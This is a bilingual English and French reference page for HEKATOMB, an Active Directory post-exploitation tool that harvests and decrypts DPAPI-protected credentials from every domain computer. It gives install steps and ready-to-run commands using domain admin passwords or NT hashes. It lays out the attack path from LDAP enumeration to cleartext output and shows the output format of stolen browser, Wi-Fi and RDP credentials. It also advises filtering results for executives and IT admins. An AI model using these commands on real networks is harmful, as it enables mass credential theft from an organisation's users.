← retour aux outils back to tools

# hekatomb

Extracteur d'identifiants DPAPI Active Directory. Récupère et déchiffre les secrets protégés par DPAPI sur tous les ordinateurs du domaine à l'aide d'identifiants d'administrateur du domaine : récolte massive d'identifiants via DPAPI. Active Directory DPAPI credential extractor. Retrieves and decrypts DPAPI-protected secrets from all domain computers using domain admin credentials — mass credential harvesting via DPAPI.

↗ https://github.com/Processus-Thief/HEKATOMB

## Overview

HEKATOMB automates mass DPAPI credential extraction across an Active Directory domain. Given domain admin credentials, it connects to all domain computers, retrieves DPAPI master keys, and decrypts stored credentials (browser passwords, Windows Credential Manager, Wi-Fi passwords, etc.) from every machine.

## Installation

    pip3 install hekatomb
    # or
    git clone https://github.com/Processus-Thief/HEKATOMB
    cd HEKATOMB
    pip3 install -r requirements.txt

## Basic Usage

Full domain credential extraction

    hekatomb -u "DOMAIN\DomainAdmin" -p "Password123" -d domain.local -dc DC01.domain.local

With hash authentication

    hekatomb -u "DOMAIN\DomainAdmin" -H "NT_HASH" -d domain.local -dc DC01.domain.local

Target specific computers

    hekatomb -u "DOMAIN\admin" -p "pass" -d domain.local -dc DC01 --computers "PC01,PC02"

## What HEKATOMB Extracts

    # From each domain computer (via SMB):
    # Windows Credential Manager entries
    # Web browser stored passwords (Chrome, Edge, Firefox)
    # Wi-Fi network passwords
    # RDP saved credentials
    # SSH key agents (if applicable)
    # Any application using DPAPI for storage

    # The attack path:
    # 1. Connect to DC via LDAP → enumerate all computers
    # 2. Connect to each computer via SMB → copy DPAPI blobs
    # 3. Request DPAPI master keys from DC via MS-BKRP
    # 4. Decrypt all blobs using master keys
    # 5. Output cleartext credentials

## DPAPI Background

    # DPAPI (Data Protection API) encrypts data with:
    # - User master key (derived from password)
    # - Domain backup key (stored on DC, used when password changes)

    # Hekatomb uses the domain backup key:
    # GET /backupkey/ → retrieves key from DC
    # All DPAPI blobs can be decrypted with this key

    # This is why domain admin access = all credentials across domain

## Output

    # HEKATOMB creates output directory with:
    # ./output/
    #   credentials.txt     — all decrypted credentials
    #   computers.txt       — list of domain computers
    #   errors.txt          — access failures
    #
    # Credential format:
    # [PC01] Chrome: username:password@website.com
    # [PC02] WinCred: domain\user:password → target.server

## Tips

- Requires domain admin privileges — one of the highest-value post-exploitation actions
- The domain DPAPI backup key is permanent — rotate it immediately if compromised
- HEKATOMB can take significant time on large domains — run overnight
- Filter results by target users (executives, IT admins) for highest-value findings
- impacket-dpapi can perform similar extraction manually for individual users

Help / Man page

    hekatomb [options]

    -u USER     Domain admin username (DOMAIN\user)
    -p PASS     Password
    -H HASH     NT hash (alternative to password)
    -d DOMAIN   Domain name (FQDN)
    -dc DC      Domain controller hostname/IP
    --computers Comma-separated computer list (default: all)
    -o DIR      Output directory
    -v          Verbose

## Vue d’ensemble

HEKATOMB automatise l’extraction massive d’identifiants DPAPI à travers un domaine Active Directory. Avec des identifiants d’administrateur du domaine, il se connecte à tous les ordinateurs du domaine, récupère les clés maîtresses DPAPI, et déchiffre les identifiants stockés (mots de passe de navigateur, Gestionnaire d’identifiants Windows, mots de passe Wi-Fi, etc.) de chaque machine.

## Installation

    pip3 install hekatomb
    # ou
    git clone https://github.com/Processus-Thief/HEKATOMB
    cd HEKATOMB
    pip3 install -r requirements.txt

## Utilisation de base

    # Extraction complète des identifiants du domaine
    hekatomb -u "DOMAIN\DomainAdmin" -p "Password123" -d domain.local -dc DC01.domain.local

    # Avec authentification par hash
    hekatomb -u "DOMAIN\DomainAdmin" -H "NT_HASH" -d domain.local -dc DC01.domain.local

    # Cibler des ordinateurs spécifiques
    hekatomb -u "DOMAIN\admin" -p "pass" -d domain.local -dc DC01 --computers "PC01,PC02"

## Ce que HEKATOMB extrait

    # Depuis chaque ordinateur du domaine (via SMB) :
    # Entrées du Gestionnaire d'identifiants Windows
    # Mots de passe stockés dans les navigateurs web (Chrome, Edge, Firefox)
    # Mots de passe des réseaux Wi-Fi
    # Identifiants RDP enregistrés
    # Agents de clés SSH (le cas échéant)
    # Toute application utilisant DPAPI pour le stockage

    # Le chemin d'attaque :
    # 1. Connexion au DC via LDAP → énumération de tous les ordinateurs
    # 2. Connexion à chaque ordinateur via SMB → copie des blobs DPAPI
    # 3. Demande des clés maîtresses DPAPI au DC via MS-BKRP
    # 4. Déchiffrement de tous les blobs à l'aide des clés maîtresses
    # 5. Sortie des identifiants en clair

## Contexte DPAPI

    # DPAPI (Data Protection API) chiffre les données avec :
    # - Une clé maîtresse utilisateur (dérivée du mot de passe)
    # - Une clé de sauvegarde de domaine (stockée sur le DC, utilisée lors des changements de mot de passe)

    # Hekatomb utilise la clé de sauvegarde de domaine :
    # GET /backupkey/ → récupère la clé depuis le DC
    # Tous les blobs DPAPI peuvent être déchiffrés avec cette clé

    # C'est pourquoi un accès administrateur de domaine équivaut à tous les identifiants du domaine

## Sortie

    # HEKATOMB crée un répertoire de sortie avec :
    # ./output/
    #   credentials.txt     : tous les identifiants déchiffrés
    #   computers.txt       : liste des ordinateurs du domaine
    #   errors.txt          : échecs d'accès
    #
    # Format des identifiants :
    # [PC01] Chrome: username:password@website.com
    # [PC02] WinCred: domain\user:password → target.server

## Conseils

- Nécessite des privilèges d’administrateur du domaine : l’une des actions de post-exploitation à plus haute valeur
- La clé de sauvegarde DPAPI du domaine est permanente : faites-la tourner immédiatement en cas de compromission
- HEKATOMB peut prendre un temps significatif sur de grands domaines : lancez-le de nuit
- Filtrez les résultats par utilisateurs cibles (dirigeants, admins IT) pour les résultats à plus forte valeur
- impacket-dpapi peut réaliser une extraction similaire manuellement pour des utilisateurs individuels

Aide / Page de manuel

    hekatomb [options]

    -u USER     Domain admin username (DOMAIN\user)
    -p PASS     Password
    -H HASH     NT hash (alternative to password)
    -d DOMAIN   Domain name (FQDN)
    -dc DC      Domain controller hostname/IP
    --computers Comma-separated computer list (default: all)
    -o DIR      Output directory
    -v          Verbose